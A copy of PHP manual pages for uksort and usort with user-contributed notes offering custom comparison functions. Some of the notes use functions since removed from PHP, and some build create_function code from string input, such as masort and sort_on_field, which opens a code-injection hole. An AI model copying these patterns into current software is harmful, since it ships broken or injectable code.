It assumes your data is in the form of:
    $data = array(
            array('ID'=>'6','LAST'=>'Holmes','FIRST'=>'Dan'),
            array('ID'=>'1234','LAST'=>'Smith','FIRST'=>'Agent K'),
            array('ID'=>'2','LAST'=>'Smith','FIRST'=>'Agent J'),
            array('ID'=>'4','LAST'=>'Barney','FIRST'=>'Bob'));

Now, you want to sort on one or more cols, don't you?

masort($data, 'LAST,FIRST');
or
masort($data,array('FIRST','ID'));

Of course you could add a bunch to it (like numeric comparison if appropriate, desc/asc, etc) but it works for me.

function masort(&$data, $sortby){
    if(is_array($sortby)){
        $sortby = join(',',$sortby);
    }

    uasort($data,create_function('$a,$b','$skeys = split(\',\',\''.$sortby.'\');
        foreach($skeys as $key){
            if( ($c = strcasecmp($a[$key],$b[$key])) != 0 ){
                return($c);
            }
        }
        return($c); '));
}
Notice that I am splitting the string in the comparison function? While this is certainly slower, it was the only way I would find to "pass" and "array".  If anyone has a better way, please suggest.  Then inside, we (string) compare the values only moving to the next key if the values are the same...and so on, and so on.
stilgar_cpsNOSPAM at zipmail dot NOSPAMcom dot br 05-Sep-2001 11:30
Use example:

$array[0]['Fator1']=7;
$array[0]['Fator2']="Name";
$array[1]['Fator1']=5;
$array[1]['Fator2']="Name";
$array[2]['Fator1']=7;
$array[2]['Fator2']="NameDiferente";
.....

We want to order by Fator1, then Fator2, then:

function Compare($ar1, $ar2)
{
   if ($ar1['Fator1']<$ar2['Fator1'])
      return -1;
   else if ($ar1['Fator1']>$ar2['Fator1'])
      return 1;
   if ($ar1['Fator2']<$ar2['Fator2'])
      return -1;
   else if ($ar1['Fator2']>$ar2['Fator2'])
      return 1;
   return 0;
}

To sort now, we use:

uasort($array, 'Compare');


Sort an array by keys using a user-defined comparison function

  • Â« uasort
  • usort Â»
  • PHP Manual
  • Array Functions
  • Sort an array by keys using a user-defined comparison function

uksort

(PHP 4, PHP 5)

uksort — Sort an array by keys using a user-defined comparison function

Description

bool uksort ( array &$array , callable $key_compare_func )

uksort() will sort the keys of an array using a user-supplied comparison function. If the array you wish to sort needs to be sorted by some non-trivial criteria, you should use this function.

Parameters

array

The input array.

key_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 uksort() example

<?php
function cmp($a, $b)
{
    $a = preg_replace('@^(a|an|the) @', '', $a);
    $b = preg_replace('@^(a|an|the) @', '', $b);
    return strcasecmp($a, $b);
}

$a = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);

uksort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

The above example will output:

an apple: 3
a banana: 4
the Earth: 2
John: 1

See Also

  • usort() - Sort an array by values using a user-defined comparison function
  • The comparison of array sorting functions

User Contributed Notes

ingo at example dot test 05-May-2014 10:30
sort with collation, to have umlauts correctly:

uksort($retval, array(Collator::create( 'de_DE' ), 'compare'));
mdsky at web dot de 23-May-2010 08:26
Case insensitive without own function:

uksort($array, "strnatcasecmp");
contacto at hardcode dot com dot ar 29-Jul-2009 03:56
need a case insensitive sort by key function? i did and couldn find it, so:

<?php
function insensitive_uksort($a,$b) {
    return strtolower($a)<strtolower($b);
}
uksort($arr, "insensitive_uksort");
?>
brian dot short at gmail dot com 07-Jul-2009 04:58
If you need to periodically sort by grades (A, A+, D-, etc.), here is a compare function that compares strings by the case-insensitive method, unless it finds a grade, in which case it correctly sorts by putting "plus" grades first, unmarked grades second, and "minus" grades last.

<?php
function cmp($a, $b)
{
   $a = preg_replace('@^(a|an|the) @', '', $a);
   $b = preg_replace('@^(a|an|the) @', '', $b);

   //special code for grades
   if (strpos( $a, "+") !== false || strpos( $b, "+") !== false  ||
       strpos( $a, "-") !== false || strpos( $b, "-") !== false ){

        $substrA = substr($a, 0, 1);
        $substrB = substr($b, 0, 1);

        $modifierA = (strlen($a) == 2) ? substr($a, 1, 1) : "";
        $modifierB = (strlen($b) == 2) ? substr($b, 1, 1) : "";

        if ($substrA == $substrB){
            //figure out plusses and minuses.
            if ($modifierA == "+"){
                return -1;
            } else if ($modifierB == "+"){
                return 1;
            }

            if ($modifierA == "-"){
                return 1;
            } else if ($modifierB == '-'){
                return -1;
            }
        } else {
            return strcasecmp($a, $b);
        }

    }
   return strcasecmp($a, $b);
}

$grades = array(
                 "C+" => 13    ,
                "C" => 10     ,
                "D+" => 8     ,
                "B+" => 7     ,
                "C-" => 6     ,
                "A-" => 5     ,
                "F" => 5      ,
                "B" => 4      ,
                "B-" => 4     ,
                "D" => 3      ,
                "D-" => 3     ,
                "A+" => 1
    );

uksort($grades, "cmp");
?>

result:  Array
(
    [A+] => 1
    [A-] => 5
    [B+] => 7
    [B] => 4
    [B-] => 4
    [C+] => 13
    [C] => 10
    [C-] => 6
    [D+] => 8
    [D] => 3
    [D-] => 3
    [F] => 5
)
Jimomighty 20-Mar-2005 04:30
...

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

function uksort_tree ( &$array )
{
    // [PHP5] foreach ( $array as &$value )
    foreach ( $array as $key => $value )
    {
       if ( is_array ( $value ) )
       {
            // [PHP5] uksort_tree ( $value );
           uksort_tree ( $array[$key] );
       }
    }

    uksort( $array, "cmp" );
}

uksort_tree( $myEntryArray );

...
aleczapka at gmx dot net 22-Dec-2004 01:35
One remark regarding array_sorter class.
It won't work correctly with eg. dates from mysql like 20041206105350, cause you can't convert such number into integer. To fix it remove intval() from the code. If the variable is a number it will work without converting this to int anyways. Here is the fix.

<?php
....
if ($a == $b)
    return 0;
if ($this->sasc)
    return ($a > $b) ? 1 : -1;
else
    return ($a > $b) ? -1 : 1;
...
?>
jg at delegation dot ca 17-Dec-2004 04:41
To sort dates with uksort:

function datediff($a, $b) {

$a = date('U',$a);
$b = date('U',$b);

if ($a == $b) $r = 0;
else $r = ($a > $b) ? 1: -1;

return $r;
}
aleczapka at gmx dot net 06-Dec-2004 01:27
Here is a small and very fast object to handle sorting of multidimentional arrays by a key.
<?php
/**
* Handles multidimentional array sorting by a key (not recursive)
*
* @author Oliwier Ptak <aleczapka at gmx dot net>
*/
class array_sorter
{
    var $skey = false;
    var $sarray = false;
    var $sasc = true;

    /**
    * Constructor
    *
    * @access public
    * @param mixed $array array to sort
    * @param string $key array key to sort by
    * @param boolean $asc sort order (ascending or descending)
    */
    function array_sorter(&$array, $key, $asc=true)
    {
        $this->sarray = $array;
        $this->skey = $key;
        $this->sasc = $asc;
    }

    /**
    * Sort method
    *
    * @access public
    * @param boolean $remap if true reindex the array to rewrite indexes
    */
    function sortit($remap=true)
    {
        $array = &$this->sarray;
        uksort($array, array($this, "_as_cmp"));
        if ($remap)
        {
            $tmp = array();
            while (list($id, $data) = each($array))
                $tmp[] = $data;
            return $tmp;
        }
        return $array;
    }

    /**
    * Custom sort function
    *
    * @access private
    * @param mixed $a an array entry
    * @param mixed $b an array entry
    */
    function _as_cmp($a, $b)
    {
        //since uksort will pass here only indexes get real values from our array
        if (!is_array($a) && !is_array($b))
        {
            $a = $this->sarray[$a][$this->skey];
            $b = $this->sarray[$b][$this->skey];
        }

        //if string - use string comparision
        if (!ctype_digit($a) && !ctype_digit($b))
        {
            if ($this->sasc)
                return strcasecmp($a, $b);
            else
                return strcasecmp($b, $a);
        }
        else
        {
            if (intval($a) == intval($b))
                return 0;

            if ($this->sasc)
                return (intval($a) > intval($b)) ? -1 : 1;
            else
                return (intval($a) > intval($b)) ? 1 : -1;
        }
    }

}//end of class
?>

Sample $input_array:

Array
(
    [0] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

Example of usage:
<?php
    function multi_sort(&$array, $key, $asc=true)
    {
        $sorter = new array_sorter($array, $key, $asc);
        return $sorter->sortit();
    }
    //sort by parent_id in descending order
    $my_array = multi_sort($input_array, "parent_id", false);
?>

The result array will be:
Array
(

    [0] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )
fabriceb at gmx dot net 08-Jul-2004 03:26
(about sorting an array of objects by their properties in a class - inspired by webmaster at zeroweb dot org at usort function)
I'm using classes as an abstraction for querying records in a database and use arrays of objects to store records that have an 1 to n relationship. E.g. a class "family" has family members stored as an array of objects. Each of those objects prepresents a record in a database related to the family (by it's familyId).

To identify members, I'm using their memberId as the key of the array e.g. $family->members[$memberId].
To sort the family members AFTER fetching them with the database query, you can use the functions _objSort and sortMembers which will sort the "members" array by key using it's properties (for space reasons I didn't include the methods used to open the records):
<?php
class familyMember
{
    var $memberId;
    var $familyId;
    var $firstName;
    var $age;
    var $hairColor;
// ...
}

class family
{
    var $familyId;
    var $name;
    var $members = array(); // array of familyMember objects
    var $sortFields = array();
    var $sortDirections = array();
    // ...
    function _objSort(&$a, &$b, $i = 0)
    {
        $field        = $this->sortFields[$i];
        $direction    = $this->sortDirections[$i];

        $diff = strnatcmp($this->details[$a]->$field, $this->details[$b]->$field) * $direction;
        if ($diff == 0 && isset($this->sortFields[++$i]))
        {
            $diff = $this->_objSort($a, $b, $i);
        }

        return $diff;
    }

    function sortMembers($sortFields)
    {
        $i = 0;
        foreach ($sortFields as $field => $direction)
        {
            $this->sortFields[$i] = $field;
            $direction == "DESC" ? $this->sortDirections[$i] = -1 : $this->sortDirections[$i] = 1;
            $i++;
        }

        uksort($this->details, array($this, "_objSort"));

        $this->sortFields = array();
        $this->sortDirections = array();
    }
}
// open a family
$familyId = 5;
$family = new family($familyId);
$family->open(); // this will also fetch all members

// sort members by 3 fields
$family->sortMembers(array("firstName" => "ASC", "age" => "DESC", "hairColor" => "ASC"));
// output all family members
foreach ($family->members as $member)
{
    echo $member->firstName." - ".$member->age." - ".$member->hairColor."<br />";
}
?>

Note that this might not be the fastest thing on earth and it hasn't been tested very much yet but I hope it's useful for someone.
webmaster at kik-it at N0SP4M dot com 09-Feb-2004 07:03
The code below allows you to sort an array_A following array_B keys order, original keys and values remain associated.

<?

//main function
Function SortArrayAKeysLikeArrayBKeys(&$TheArrayToSort){
   uksort($TheArrayToSort,"SortArrayAKeysLikeArrayBKeys_cmp");
}

//the custom compare function
Function SortArrayAKeysLikeArrayBKeys_cmp($a,$b){
  global $TheArrayOrder;
  $PosA=KeyPosInArray($a,$TheArrayOrder);
  $PosB=KeyPosInArray($b,$TheArrayOrder);
  if ($PosA==$PosB){return 0;}else{return ($PosA > $PosB ? 1 : -1);}
}

//where is my key in my array
Function KeyPosInArray($Key,$Array){
   $i=0;
   $Pos=99999999;
   if($Array){
      foreach($Array as $K => $V){
         $i++;
         if($K==$Key){
            $Pos=$i;
            break;
         }
      }
   }
   return $Pos;
}

//the array you want to sort
$AnyArrayToSort['age']='19';
$AnyArrayToSort['ville']='rennes';
$AnyArrayToSort['website']='kik-it.com';
$AnyArrayToSort['region']='bretagne';
$AnyArrayToSort['code_postal']='35200';
$AnyArrayToSort['Nom']='Fred';

//the array with the correct keys/values order
$TheArrayOrder['Nom']='Whatever';
$TheArrayOrder['age']='Anything';
$TheArrayOrder['region']='What u want';
$TheArrayOrder['ville']='Something';
$TheArrayOrder['code_postal']='Nothing';

//before sort
print_r($AnyArrayToSort);
echo "<br>";
//we sort
SortArrayAKeysLikeArrayBKeys($AnyArrayToSort);
echo "<br>";
//after sort
print_r($AnyArrayToSort);
?>

Will print :

Array ( [age] => 19 [ville] => rennes [website] => kik-it.com [region] => bretagne [code_postal] => 35200 [Nom] => Fred )

Array ( [Nom] => Fred [age] => 19 [region] => bretagne [ville] => rennes [code_postal] => 35200 [website] => kik-it.com )

The keys not listed in the $TheArrayOrder will appear at the end of your sorted array (only if Key Pos < 99999999 ;o)
guss at typo dot co dot il 07-Dec-2003 09:18
Regarding the recursive sorting function above:
Genrally speaking, any recursion can be reimplemented using simple iteration. in the specific case, using recursion to compare strings has a huge performance impact while a simple loop would suffice and be faster and more simple.
Recursion is only good if it simplifies your code or your understanding of the concept. the previous example does neither, especially as it does a lot of repetitive things in each iteration, such as asigning the character order constant, rebuilding it into an array and such

For example, the string comparison could be written as such :
function str_compare($a,$b) {
    $order="aAáÁbBcC&#269;&#268;..."; // longer normally & without that html entities
    $default = strlen($a) - strlen($b);
    $minlen = strlen($a) < strlen($b) ? strlen($a) : strlen($b);
    for ($i = 0; $i < $minlen; $i++) {
        $pos_a=strpos($order,$a[$i]);
        $pos_b=strpos($order,$b[$i]);
        if ($pos_a != $pos_b)
            return $pos_a - $pos_b;
    }
    return $default;
}

Which is much simpler and faster.
Note that the above function will break for characters that are not listed in $order. it should be failry trivial to fix it.
ignatius dot reilly at free dot fr 13-Nov-2003 07:59
To use a more complicated comparison function, one can use a callback to a method of an object instance.
For example the following will take an array $arr whose keys are the same as those of $reference, and reorder $arr so that the keys appear in the same order as in $reference.

class kcmp {
    var $reference ;
    function kcmp( $reference ) {
       $this->reference = $reference ;
    }
    function kcompare( $a, $b ) {
       $keys = array_keys( $this->reference ) ;
       $position_a = array_search( $a, $keys ) ;
       $position_b = array_search( $b, $keys ) ;
       return  $position_a < $position_b ? -1 : 1 ;
    }
}

$reference = array(
    "k2" => "a2",
    "k3" => "a3",
    "k1" => "a1"
) ;
$arr = array(
    "k1" => "b1",
    "k2" => "b2",
    "k3" => "b3"
) ;
print_r( $arr ) ;
uksort( $arr, array( new kcmp( $reference ), "kcompare" ) ) ;
print_r( $arr ) ;
pachollini at stones dot com 03-Mar-2003 01:47
I tried to write my own function for sorting with special Czech characters, which php normally compares wrong way. The function is recoursive, it compares the first characters of the strings and when they're the same, the function calls itself with parameters without the first character. My php often crashed by calling this function. After some time if found the problem: it crashed after 10th recoursive call. I think it's a bug in php, and I've made this workaround:

function str_compare($a,$b,$level=0)
    {
    $maxlevel=9;
    if($GLOBALS["STR_COMPARE"] && is_array($a))
        {
        $a=$a[$GLOBALS["STR_COMPARE"]];
        $b=$b[$GLOBALS["STR_COMPARE"]];
        }
    $result=0;
    if($a==$b) return 0;
    elseif($a=="") return ($b=="") ? 0 : 1;
    elseif ($b=="") return -1;
    else
        {
        $order="aAáÁbBcC&#269;&#268;..."; // longer normally & without that html entities
        for($i=0;$i<strlen($order);$i++) $codes[]=ord($order[$i]);
        $char_a=$a[0];$char_b=$b[0];
        $pos_a=array_search(ord($a),$codes); $pos_b=array_search(ord($b),$codes);
        //echo"$char_a - $pos_a<br>";
        if($pos_a===false || $pos_b===false)
            {
            if($char_a==$char_b)
                {
                if ($level<=$maxlevel) $result=str_compare (substr($a,1),substr($b,1),$level+1);
                else $a<$b ? $result=-1 : $result=1;
                }
            else ($char_a<$char_b) ? $result=-1 : $result=1;
            }
        else
            {
            if($pos_a==$pos_b)
                {
                if ($level<=$maxlevel) $result=str_compare(substr($a,1), substr($b,1),$level+1);
                else $a<$b ? $result=-1 : $result=1;
                }
            else ($pos_a<$pos_b) ? $result=-1 : $result=1;
            }
        return $result;
        }
    }
kumar at chicagomodular (dot) com 30-Jan-2003 06:12
The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.
--necessary info from http://www.php.net/manual/en/function.usort.php if you didn't see it already


Sort an array by values using a user-defined comparison function

  • « uksort
  • Classes/Objects »
  • PHP Manual
  • Array Functions
  • Sort an array by values using a user-defined comparison function

usort

(PHP 4, PHP 5)

usort — Sort an array by values using a user-defined comparison function

Description

bool usort ( array &$array , callable $value_compare_func )

This function will sort an array by its values using a user-supplied comparison function. If the array you wish to sort needs to be sorted by some non-trivial criteria, you should use this function.

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

Parameters

array

The input array.

value_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )
Caution

Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.1.0 | A new sort algorithm was introduced. The value_compare_func doesn't keep the original order for elements comparing as equal.

Examples

Example #1 usort() example

<?php
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

The above example will output:

0: 1
1: 2
2: 3
3: 5
4: 6

Note:

Obviously in this trivial case the sort() function would be more appropriate.

Example #2 usort() example using multi-dimensional array

<?php
function cmp($a, $b)
{
    return strcmp($a["fruit"], $b["fruit"]);
}

$fruits[0]["fruit"] = "lemons";
$fruits[1]["fruit"] = "apples";
$fruits[2]["fruit"] = "grapes";

usort($fruits, "cmp");

while (list($key, $value) = each($fruits)) {
    echo "\$fruits[$key]: " . $value["fruit"] . "\n";
}
?>

When sorting a multi-dimensional array, $a and $b contain references to the first index of the array.

The above example will output:

$fruits[0]: apples
$fruits[1]: grapes
$fruits[2]: lemons

Example #3 usort() example using a member function of an object

<?php
class TestObj {
    var $name;

    function TestObj($name)
    {
        $this->name = $name;
    }

    /* This is the static comparing function: */
    static function cmp_obj($a, $b)
    {
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

$a[] = new TestObj("c");
$a[] = new TestObj("b");
$a[] = new TestObj("d");

usort($a, array("TestObj", "cmp_obj"));

foreach ($a as $item) {
    echo $item->name . "\n";
}
?>

The above example will output:

b
c
d

Example #4 usort() example using a closure to sort a multi-dimensional array

<?php
$array[0] = array('key_a' => 'z', 'key_b' => 'c');
$array[1] = array('key_a' => 'x', 'key_b' => 'b');
$array[2] = array('key_a' => 'y', 'key_b' => 'a');

function build_sorter($key) {
    return function ($a, $b) use ($key) {
        return strnatcmp($a[$key], $b[$key]);
    };
}

usort($array, build_sorter('key_b'));

foreach ($array as $item) {
    echo $item['key_a'] . ', ' . $item['key_b'] . "\n";
}
?>

The above example will output:

y, a
x, b
z, c

See Also

  • uasort() - Sort an array with a user-defined comparison function and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

Gerald Schneider 09-Dec-2013 04:57
usort returns null when the sorting function is not (yet) defined. The function has to be defined before usort is called, afterwards doesn't work.
me at perochak dot com 07-Aug-2013 05:37
If you want to sort the time based array, then this will be helpfull.

function timesort($array){
            usort($array, function($a, $b)
            {
                $a=strtotime($a);
                $b=strtotime($b);

                if ($a == $b)
                {
                    return 0;
                }
                else if ($a < $b)
                {
                    return -1;
                }
                else {
                    return 1;
                }
            });
}

Input:

$time_array=Array
(
    [1] => 10:00AM
    [2] => 09:00AM
    [3] => 02:00PM
    [4] => 11:00AM
)

Output:
print_r(timesort($time_array));
Array
(
    [0] => 09:00AM
    [1] => 10:00AM
    [2] => 11:00AM
    [3] => 02:00PM
)
Hayley Watson 09-Apr-2013 07:30
As the documentation says, the comparison function needs to return an integer that is either "less than, equal to, or greater than zero". There is no requirement to restrict the value returned to -1, 0, 1.

<?php
usort($array, function($a, $b) {
    if($a->integer_property > $b->integer_property) {
        return 1;
    }
    elseif($a->integer_property < $b->integer_property) {
        return -1;
    }
    else {
        return 0;
    }
});
?>

can be simplified to

<?php
usort($array, function($a, $b) {
    return $a->integer_property - $b->integer_property;
});
?>

This of course applies to any comparison function that calculates an integer "score" for each of its arguments to decide which is "greater".
hexarobi at gmail dot com 22-Feb-2013 06:04
Needed to sort an array of objects based on multiple properties. (ie: Group, then Last Name, then First Name) Doing this in multiple usorts fails because the second usort ends up shuffling the results of the previous usort because order is undefined when criteria are equal. Ended up writing a function that builds a comparison operator by nesting ternary operators for each field, then using that function in usort(). Hopefully it's of use to someone else.

<?php
/*
 * Sorts an array of objects by a list of properties.
 * Each property can have the following options:
 *   'property' can be either a public variable or a method().
 *   'order' can be ASC or DESC
 *   'comparer' can be string, number, or date
 *
 * Example:
 * sortObjectsByProperties($objects, array(
 *       array('property'=>'getPrice()', order=>'ASC', 'comparer'=>'number'),
 *       array('property'=>'getName()', order=>'DESC', 'comparer'=>'string'),
 *       array('property'=>'created_date', order=>'ASC', 'comparer'=>'date'),
 *       array('property'=>'id', order=>'ASC', 'comparer'=>'number'),
 *   ));
 *
 * @author Tyler Chamberlain
 */
function sortObjectsByProperties(&$objects, $fields) {
        $comparerFunctionString = "";
        foreach ($fields as $field) {
            if ($field['comparer'] == 'number') {
                $comparerFunction = "(\$a->{$field['property']} == \$b->{$field['property']} ? 0 : (\$a->{$field['property']} > \$b->{$field['property']} ? 1 : -1))";
            } elseif ($field['comparer'] == 'date') {
                $comparerFunction = "(strtotime(\$a->{$field['property']}) > strtotime(\$b->{$field['property']}) ? 1 : -1)";
            } else {
                $comparerFunction = "strcasecmp(\$a->{$field['property']},\$b->{$field['property']})";
            }
            if ($field['order'] === 'DESC') { $comparerFunction = "-".$comparerFunction; }
            $comparerFunctionString .= "$comparerFunction != 0 ? $comparerFunction : (";
        }
        $comparer = "return ($comparerFunctionString 0 )".str_repeat(")", sizeof($fields)).";";
        usort($objects, create_function('$a,$b', $comparer));
}
?>
Jian Wu 07-Jul-2012 06:16
The usort function actually moves $b up when the callback function returns both 0 and 1.  If you want to preserve the original order in the array, return 1 when $a == $b instead of 0.  Try this code below to see how usort alters the order of the original array when all values are the same.

<?php
class TestObj {
    private $name;
    private $id;

    function TestObj($name, $id) {
        $this->name = $name;
        $this->id = $id;
    }

    static function cmp_obj($a, $b) {
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0; // return 1 if you don't want $b to go in front of $a
        }
        return ($al > $bl) ? +1 : -1;
    }
}

$a[] = new TestObj("a", 1);
$a[] = new TestObj("a", 2);
$a[] = new TestObj("a", 3);

var_dump($a);
usort($a, array("TestObj", "cmp_obj"));
var_dump($a);
?>
zuallauz at gmail dot com 30-Mar-2012 06:56
When trying to do some custom sorting with objects and an anonymous function it wasn't entirely clear how this usort function works. I think it probably uses a quicksort in the background. Basically it actually moves the $b variable up or down in respect to the $a variable. It does NOT move the $a variable inside the callback function. This is key to getting your logic right in the comparisons.

If you return -1 that moves the $b variable down the array, return 1 moves $b up the array and return 0 keeps $b in the same place.

To test I cut down my code to sorting a simple array from highest priority to lowest.

<?php
$priorities = array(5, 8, 3, 7, 3);

usort($priorities, function($a, $b)
{
    if ($a == $b)
    {
        echo "a ($a) is same priority as b ($b), keeping the same\n";
        return 0;
    }
    else if ($a > $b)
    {
        echo "a ($a) is higher priority than b ($b), moving b down array\n";
        return -1;
    }
    else {
        echo "b ($b) is higher priority than a ($a), moving b up array\n";
        return 1;
    }
});

echo "Sorted priorities:\n";
var_dump($priorities);
?>

Output:

b (8) is higher priority than a (3), moving b up array
b (5) is higher priority than a (3), moving b up array
b (7) is higher priority than a (3), moving b up array
a (3) is same priority as b (3), keeping the same
a (8) is higher priority than b (3), moving b down array
b (8) is higher priority than a (7), moving b up array
b (8) is higher priority than a (5), moving b up array
b (8) is higher priority than a (3), moving b up array
a (5) is higher priority than b (3), moving b down array
a (7) is higher priority than b (5), moving b down array

Sorted priorities:
array(5) {
  [0]=> int(8)
  [1]=> int(7)
  [2]=> int(5)
  [3]=> int(3)
  [4]=> int(3)
}
andi_mclean at ntlworld dot com 05-Feb-2012 12:58
I needed a sort method that would sort strings but take note of any numbers and would compare them as number. I also want to ignore any non alphanumerical characters.

Eg.
Slot 1 Example
Slot 10 Example
Slot 2 Example

Should infact be
Slot 1 Example
Slot 2 Example
Slot 10 Example

<?php
function sort_with_numbers($a , $b) {
    $a = explode(' ',$a);
    $b = explode(' ',$b);
    $size = min(count($a), count($b));
    for($index =0; $index < $size; ++$index) {
        $a1 = ereg_replace("[^A-Za-z0-9]", "",$a[$index]);
        $b1 = ereg_replace("[^A-Za-z0-9]", "",$b[$index]);
        $equal = 0;
        if (is_numeric($a1) && is_numeric($b1)) {
            $equal = $a1 - $b1;
        } else {
            $equal = strcasecmp($a1,$b1);
        }
        if ($equal < 0) {
            return -1;
        }
        if ($equal > 0) {
            return 1;
        }
    }
    return count($a) - count($b);
}
?>
admin at gosenz dot com 05-Dec-2011 05:58
sort multi-dimentional arrays in class with usort

<?php
class ArraySort
{
    private $arr = array();

    public function __construct($arr)
    {
        $this->arr = $arr;
    }

    public function doSort()
    {
        $cmp = function($a, $b)
        {
            //Do Some Comparation
        }
        if(is_array($this->arr))
        {
            usort($this->arr, $cmp);
        }
        return $this->arr;
    }
}
?>
Gok6tm 13-Sep-2011 03:09
this is a new multisort function for sorting on multiple subfield like it will be in sql : 'ORDER BY field1, field2'
number of sort field is undefined
<?php

$array[] = array('soc' => 3, 'code'=>1);
$array[] = array('soc' => 2, 'code'=>1);
$array[] = array('soc' => 1, 'code'=>1);
$array[] = array('soc' => 1, 'code'=>1);
$array[] = array('soc' => 2, 'code'=>5);
$array[] = array('soc' => 1, 'code'=>2);
$array[] = array('soc' => 3, 'code'=>2);

//usage
print_r(multiSort($array, 'soc', 'code'));

function multiSort() {
    //get args of the function
    $args = func_get_args();
    $c = count($args);
    if ($c < 2) {
        return false;
    }
    //get the array to sort
    $array = array_splice($args, 0, 1);
    $array = $array[0];
    //sort with an anoymous function using args
    usort($array, function($a, $b) use($args) {

        $i = 0;
        $c = count($args);
        $cmp = 0;
        while($cmp == 0 && $i < $c)
        {
            $cmp = strcmp($a[ $args[ $i ] ], $b[ $args[ $i ] ]);
            $i++;
        }

        return $cmp;

    });

    return $array;

}
?>

output:
Array
(
    [0] => Array
        (
            [soc] => 1
            [code] => 1
        )

    [1] => Array
        (
            [soc] => 1
            [code] => 1
        )

    [2] => Array
        (
            [soc] => 1
            [code] => 2
        )

    [3] => Array
        (
            [soc] => 2
            [code] => 1
        )

    [4] => Array
        (
            [soc] => 2
            [code] => 5
        )

    [5] => Array
        (
            [soc] => 3
            [code] => 1
        )

    [6] => Array
        (
            [soc] => 3
            [code] => 2
        )

)
Lea Hayes 13-Jul-2011 02:55
<?php
/**
 * Sort array of objects by field.
 *
 * @param array $objects Array of objects to sort.
 * @param string $on Name of field.
 * @param string $order (ASC|DESC)
 */
function sort_on_field(&$objects, $on, $order = 'ASC') {
    $comparer = ($order === 'DESC')
        ? "return -strcmp(\$a->{$on},\$b->{$on});"
        : "return strcmp(\$a->{$on},\$b->{$on});";
    usort($objects, create_function('$a,$b', $comparer));
}
?>
bcsj 28-Jun-2011 08:12
Sorting a multidimensional array by a subkey seem to be one of the bigger challenges when using usort. At least if one want the key to be dynamic. For anyone interested this code seemed to work rather well for me:

<?php

usort($array,array(new cmp($key), "cmp__"));

class cmp {
    var $key;
    function __construct($key) {
        $this->key = $key;
    }

    function cmp__($a,$b) {
        $key = $this->key;
        if ($a[$key] == $b[$key]) return 0;
        return (($a[$key] > $b[$key]) ? 1 : -1);
    }
}

?>
masonswolf+ignorethispart at gmail dot com 13-Jun-2011 07:42
[The second version of a function I wrote], just a little cleaner to use, since the usort call is now folded into the custom 'usortByArrayKey' function.

Seems like this is a popular problem - sorting an array of arrays by the keys of sub-arrays, so I'll go ahead and throw in an approach I haven't seen anyone mention yet. It only works since PHP 5.3 because that's when anonymous functions got added to the language.

<?php
function usortByArrayKey(&$array, $key, $asc=SORT_ASC) {
    $sort_flags = array(SORT_ASC, SORT_DESC);
    if(!in_array($asc, $sort_flags)) throw new InvalidArgumentException('sort flag only accepts SORT_ASC or SORT_DESC');
    $cmp = function(array $a, array $b) use ($key, $asc, $sort_flags) {
        if(!is_array($key)) { //just one key and sort direction
            if(!isset($a[$key]) || !isset($b[$key])) {
                throw new Exception('attempting to sort on non-existent keys');
            }
            if($a[$key] == $b[$key]) return 0;
            return ($asc==SORT_ASC xor $a[$key] < $b[$key]) ? 1 : -1;
        } else { //using multiple keys for sort and sub-sort
            foreach($key as $sub_key => $sub_asc) {
                //array can come as 'sort_key'=>SORT_ASC|SORT_DESC or just 'sort_key', so need to detect which
                if(!in_array($sub_asc, $sort_flags)) { $sub_key = $sub_asc; $sub_asc = $asc; }
                //just like above, except 'continue' in place of return 0
                if(!isset($a[$sub_key]) || !isset($b[$sub_key])) {
                    throw new Exception('attempting to sort on non-existent keys');
                }
                if($a[$sub_key] == $b[$sub_key]) continue;
                return ($sub_asc==SORT_ASC xor $a[$sub_key] < $b[$sub_key]) ? 1 : -1;
            }
            return 0;
        }
    };
    usort($array, $cmp);
};
?>

Examples:
1) Sort a multi-dimensional array by a single key, from least to greatest:
    usortByArrayKey($resultset, 'order_id');

2) Sort a multi-dimensional array by a single key, from greatest to least:
    usortByArrayKey($resultset, 'purchase_amount', SORT_DESC);

3) Sort a multi-dimensional array first by one key, but then by a different key when the first one is equal, both from least to greatest:
    usortByArrayKey($resultset, array('product_id', 'price'));

4) Sort a multi-dimensional array by two different keys from least to greatest, and then a third from greatest to least if the first two keys map to the equal values:
